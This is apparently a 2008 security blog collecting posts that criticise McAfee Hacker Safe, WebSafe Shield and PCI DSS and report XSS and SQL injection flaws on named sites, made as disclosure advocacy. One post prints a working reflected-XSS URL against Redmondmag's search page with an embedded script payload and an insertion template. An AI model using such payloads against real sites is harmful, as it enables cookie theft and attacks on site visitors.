This is what we in the security community hope for...those rare occasions to feel good about well intended efforts being met by further well intended efforts, all to the benefit of the user and the consumer.
Well done, Blue River...go Sava!

Any Sava users who may be reading this, ensure that you are running Sava CMS 5.0.122 or later.
Advisory here: HIO-2008-0523 Sava CMS SQLi & XSS

del.icio.us | digg

McAfee Partner isn't McAfee Secure either

Winferno.com is an authorized distributor of McAfee Software. OK.
They use Verisign 128-bit SSL to secure your transaction. Can't take issue with that.
All good so far...but wait!
Shouldn't a McAfee Partner be McAfee Secure?
Apparently not, and being one wouldn't have cured the XSS blues anyway.
Next in our video series, a supposedly secure shopping cart that is far from.

Here's an IFRAME.
Here's the cookie.
As well we know, coughing up the cookie counts as a really bad thing for any shopping cart, let alone an SSL protected shopping cart that happens to be a McAfee Partner and authorized distributor of McAfee Software. But lest we forget, McAfee doesn't count XSS as concerning.
Here's the video.
Huge props to Ronald van den Heetkamp for starting this whole debate years ago, and for exposing Brett Oliphant for the fraud that he is.
Fraud is the key word here. Hacker Safe was fraudulent, McAfee Secure is fraudulent, and buying from Winferno puts consumers at risk for being defrauded, not only due to horrendous site code, but perhaps bad business practices as well.
I won't even ask if McAfee has any standards, we already know the answer.
Their standards have left the building.

del.icio.us | digg

Redmondmag...I told you so!

There is no more egregious an act of negligence committed by online vendors and businesses than ignoring notifications of vulnerabilities found in their applications.
So when Dancho Danchev pointed out that Redmond Magazine had been SQL injected by Chinese Hacktivists, I was both appalled, yet not surprised.
On January 29th, 2008 I informed 1105 Media, the parent company of the Redmond Media Group, of multiple XSS vulnerabilities in various properties they maintain, including EntMag.com and AdtMag.com, as well as Redmondmag.com.

From my email:
"I’d like to advise you of XSS vulnerabilities in the search code used by all Redmond Media Group websites.
This is most easily validated by pasting a simple script alert generator in the search form.
These vulnerabilities were disclosed by XSSed.com in February and July of 2007.
http://www.xssed.com/mirror/20073/
http://www.xssed.com/mirror/13305/
These vulnerabilities could be exploited by malicious people to conduct XSS attacks and it could further lead to reputation and PR issues for the Redmond Media Group."

Not only did they flatly ignore me, and they guys from XSSed.com who'd notified then in FEBRUARY and JULY 2007!, but all these vulnerabilities still exist, including Redmondmag.com. You could definitely say that these issues have led to "reputation and PR issues for the Redmond Media Group."
Doh! I told you so!
It goes without saying that if you are vulnerable to XSS, you have a significantly higher likelihood of being vulnerable to SQLi.
Redmondmag.com was also victimized by the 2nd wave of mass SQL injection attacks that dropped in nihaorr1.com/1.js.

Regarding current vulnerabilities, observe the following:
http://www.whiteacid.org/misc/xss_post_forwarder.php?xss_target=http://search.redmondmag.com/search.asp&cmd=search&SearchForm=%%SearchForm%%&index=C:\dtSearch\rmg\red_all&sort=Date&srcrequest=%22%3E%3CSCRIPT%3Ealert('XSS_Alert')%3C/SCRIPT%3E&submit1=Search">http://www.whiteacid.org/misc/xss_post_forwarder.php?xss_target=
http://search.redmondmag.com/search.asp&cmd=search&SearchForm=%%SearchForm%%&
index=C:\dtSearch\rmg\red_all&sort=Date&
srcrequest=(Insert JavaScript here)&submit1=Search

Props, as always, to Whiteacid's XSS Assistant and POST forwarder.
But behold, what do we see, but index=C:\dtSearch\rmg\red_all.
Well, now we know you use dtSearch on the C: of your Windows server (no surprise there ;-)).

Come on people, fix your sites!
You have been found guilty of the following charges:
1) Vulnerable to SQLi
2) Vulnerable to XSS
3) Internal file disclosure
4) Flagrant negligence with regard to secure coding best practices
50 Flagrant disregard fo information submitted to you by the information security community.
1105 Media and the Redmond Media Group, you have failed your readers, your visitors, your customers, and yourselves, and you should be ashamed.

del.icio.us | digg

Beware the Zangobot!

While this news is likely speculative and unfounded, it has ramifications I couldn't resist. My good friend Steve and I have, for the last couple of years, jokingly inferred that Zango must have some form of bot, be it a crawler or IRC/P2P. Now this was stated entirely in jest, mind you, but I have to throw the phrase open now that to a story from Trendmicro claiming Zango and Storm: Possibly in Cahoots.

How could I pass? This is indeed the prospect of a Zangobot!

From Trend's post: "The presence of these clues means either of two possibilities. One, that Storm is now targeting computers that have Zango adware installed in them, or two, that Storm has now been commissioned to deploy Zango adware. Zango (also ePIPO, 180solutions, HotBar) is an adware company notorious for planting software that runs on startup, displays advertisements, and comes bundled with other software."

Alex Eckelberry rightfully puts a cautionary spin on the story in his post on the Sunbelt blog:
"After years of tracking Zango/180, etc., we have a really hard time believing that Zango would knowingly work with distributors of Storm. While there’s no love between us, they're not complete idiots, and they know that if they got caught they'd be in serious trouble with the FTC."

Nonetheless, let the speculation and research begin.
BEWARE THE ZANGOBOT!

I hereby declare a contest! We need a Zangobot graphic. Get your creative juices flowing and send your Zangobot character/avatar/image to me at holisticinfosec at gmail dot com.
The winner receives mention here, an information security book of my choosing, and a Daily WTF sticker.

del.icio.us | digg

McAfee is NOT McAfee Secure

A challenge was put forth on Zero Day, and it has been answered.
Apparently, McAfee doesn't care about XSS on their own sites either.
I'll let the video speak for itself.
For the love of all thing good and proper, McAfee, please address this issue...for yourselves and the consumers who look to you to do the right thing.
Sincerely,
Russ McRee

del.icio.us | digg

Why PCI DSS is doomed.

Too much fun in the news to pass up on today.
First, the press release from McAfee indicating the obvious re-branding of McAfee Hacker Safe to McAfee Secure for Web Sites. Oh yes, dear friends, McAfee delivers the secure internet. The profound and deeply flawed arrogance continues, with a new name.
Rafal Los has already torn into this one, so I'll let you get the goods there, but after reading further I saw this gem:

Yep, full steam ahead. Now your credit cards are really going to be safe.


As you may know the previously vague PCI DSS 6.6 language has been made even more elusive with such useful language as:
"Keeping in mind that the objective of Requirement 6.6 is to prevent exploitation of common vulnerabilities (such as those listed in Requirement 6.5), several possible solutions may be considered. They are dynamic and pro-active, requiring the specific initiation of a manual or automated process. Properly implemented, one or more of these four alternatives could meet the intent of Option 1 and provide the minimum level of protection against common web application threats."
Such strong assertions: possible, may, could. We wouldn't want to actually commit, would we?
As if all of this wasn't enough, along comes the PCI mastery of the PCI Blog - Compliance Demystified, from pcianswers.com.
You'll get a 404 now, but here's the cached page.
Yep, a QSA actually debating the merits of ScanlessPCI.
"From what we can ascertain, ScanlessPCI.com is just a scam."
Really? We weren't sure.
"The larger concern is the fact that they require you to insert code into your Web site to get a copy of their certificate. Since you are inserting code into your Web page for a GIF, it is anyone’s guess as to whether or not they are hacking your site at the same time they are supposedly protecting it."
Oh, scary. Common, guys. I think you should insert this picture on your website. Then your customers can feel truly confident in your services. Man, my ribs still hurt from laughing.


del.icio.us | digg

Hacker Free Site?...Yeah, right.

So as not to seemingly pick only on McAfee Hacker Safe, I thought it appropriate to show just how ridiculous the entire premise of calling anything Hacker Safe, Hacker Proof, and now WebSafe Shield Hacker Free Site really is. For you, dear reader, a new video for your streaming pleasure, courtesy of the WebSafe Shield Hacker Free Site.
My brother in arms in the battle against BS, Rafal Los, has already called out Comodo for their Hacker Proof fluff on the Digital Soapbox.
I simply couldn't let this one pass without a little extra scrutiny. I Googled hacker safe to see what else popped up and bam, there's WebSafe Shield in the sponsored links for "70% less than Hacker Safe" to boot!
I had literally about ten minutes to kill, and in less than two minutes, more XSS silliness courtesy of the sites with starring roles in the latest installation in our growing video series. The home page for WebSafe Shield lists frictionent.com and shoppingvale.com with such inanities as "My customers feel more safe and more likely to sign up knowing I operate a secure website." and "If you're interested in increasing your conversions, I'd suggest you sign up for WebSafe Shield." Doesn't that sum it up? Forget protecting the consumer. Let's just blindly lead the sheep to the wolves with some Hacker Free Site logo that means nothing in order to "increase conversions."
WebSafe Shield vaguely discuss their methodology here; I just love:
#6 - How do you conduct your security scans?
"We use industry-standard software and methodologies to scan, test and identify security vulnerabilities. We first scan for open ports, and for each open port, we identify the service and software for that port, and report any security vulnerabilities."
Wow, open ports. Let me guess...you're using Nessus?
The only discussion of web application security is on their rather vague Security Tips page. It's a perfectly generic read and they make no mention of actually scanning for those vulns, only open ports, and that they "report any security vulnerabilities." Maybe they keep it vague intentionally so they can more easily duck the criticism. I can imagine the answer to this question. Why are both the sites proudly listed front and center on your home page vulnerable to XSS and yet showing their WebSafe Shield Hacker Free Site logos? Likely because they only mention XSS, but don't actually scan for it. Probably not SQLi either. Just open ports. Please. Maybe that 70% discount over Hacker Safe means you're not making enough to build a service that can find XSS, the most prevalent of all web application vulnerabilities.
I'll say the same thing to WebSafe Shield that I've said to McAfee. Stop misleading people with some crappy little logo that you wouldn't take down for anything in the world (you wouldn't want to tick off your customer base, right?).
What about the consumers using those sites who actually fall for your misleading false premises? What's your answer to them? XSS doesn't count because you can't hack the server with it? Who is the victim of a well executed XSS attack?
The consumer, not your ill-coding customers.
In case you missed it earlier, here's the video.
The last little gem, and I quote: "Our security professionals are CISSP (Certified Information Systems Security Professional) certified." Oh goody. Maybe you can charge a wee bit more than "70% less than Hacker Safe" and help your customers build secure web apps on behalf of consumers, rather than driving conversions on behalf of your customers, and ultimately your investors.

WebSafe Shield, you're welcome to comment.

del.icio.us | digg

Still not Hacker Safe, roll the video

Accuse me of beating a dead horse, but this really ticks me off. While preparing content for my monthly column, as well as presentation content for the ISSA NW Regional Security Conference, I found yet another bunch of McAfee Hacker Safe branded sites that are completely vulnerable to cross-site scripting (XSS), as well as other issues. The video I took points out only reflected, non-persistent vulnerabilities...no sites were harmed in the making of the video, and all sites have been advised. Nonetheless, let me make my point yet one more time.
1) Sites that are vulnerable to XSS are not PCI compliant. All of the sites in this video take CC payments and store customer information.
2) The sites in this video have been vulnerable for months. Additionally, some have been advised multiple times and have simply ignored my notices. Their McAfee Hacker Safe branding is active and has not been removed at any time.
3) The McAfee Hacker Safe service claims XSS as part of its vulnerability checks; sites that are vulnerable to it should not be showing the McAfee Hacker Safe label in perpetuity.
THEY ARE NOT HACKER SAFE AND CONSUMERS ARE AT RISK.
Please join me in protest by adding a comment to my open letter to Ken Leonard, CEO of Scan Alert. Send them email, ask the sites to fix the issues.
Unknowing consumers deserve far more than false claims of security and empty assurances designed to grow McAfee/ScanAlert revenues.
As I am not the only person greatly concerned over this issue, please visit Rafal Los' fine blog for additional findings.
Enjoy the video.

del.icio.us | digg

Spot the Fed or Spot the Pony - CIA XSS

I can't resist. Giorgio Maone posted this here, having seen it on the Wired blog.
The repros say it all, and mind you, this "opportunity" has been public for days, yet the CIA hasn't fixed or disabled it. As Wired alluded, methinks the Cyber Security 'Manhattan Project' hasn't quite reached fruition yet.
For you fans of the "alqa-ida pony club" go here, but if you'd prefer to read about wunderkind Chertoff's latest spew try this. Both execute in the context of cia.gov. Sad, to say the least. Hopefully, these won't work much longer.
Screenshots if you'd prefer.




del.icio.us | digg

Packet heads and malware hunters rejoice

A couple of projects have recently emerged from development that are well worthy of adding to your feed readers.
Matt Jonkman at Emerging Threats pointed out OpenPacket.org, "a web site whose mission is to provide a centralized repository of network traffic traces for researchers, analysts, and other members of the digital security community." And traces they have...all the yummy pcap goodness you could ever hope for in the Capture Repository. This is a gloden opportunity to correlate attack trends to what you may be seeing on your networks, ro take the time to analyze captures you may not otherwise see, thus tuning your packet analysis skills. It goes without saying that Openpacket.org was conceived by Richard Bejtlich.
The other site of immediate interest to bug hunters is the SRI Malware Threat Center. The press release is here, but the premise is this: "SRI's Malware Threat Center posts daily updates of firewall filters, malware-related domain name system (DNS) names, antivirus statistics, intrusion detection system (IDS) signatures, and malware binary data to help network administrators understand current and emerging computer security threats and provide key network defense information that can be configured into security products to help network administrators fend off the latest malware threats."
The data is drawn from the Cyber-TA Honeynet Project and is extremely useful.
Enjoy!

del.icio.us | digg

Site issues

Just as an FYI, my primary site, holisticinfosec.org, is suffering from server RAID card issues. My ISP is migrating my content to new hardware, so we should be back within 24 hours. Thanks for your patience.
UPDATE 4/5/08: We're back, a painful migration to new hardware, but complete, and fully functional. Thanks again for your patience.

Scan Alert's Hacker Safe now obsolete

The industry has spoken, and McAfee Hacker Safe branding is now obsolete! Everyone can be PCI certified at no cost, with no effort. It's as easy as this:

PCI Certified by Scanless PCI

Now everyone can take credit cards to the satisfaction of PCI DSS.
I'm so excited! Thanks to Jeremiah for pointing out scanlesspci.com.
Internet commerce is now safe for everyone. Priceless.
del.icio.us | digg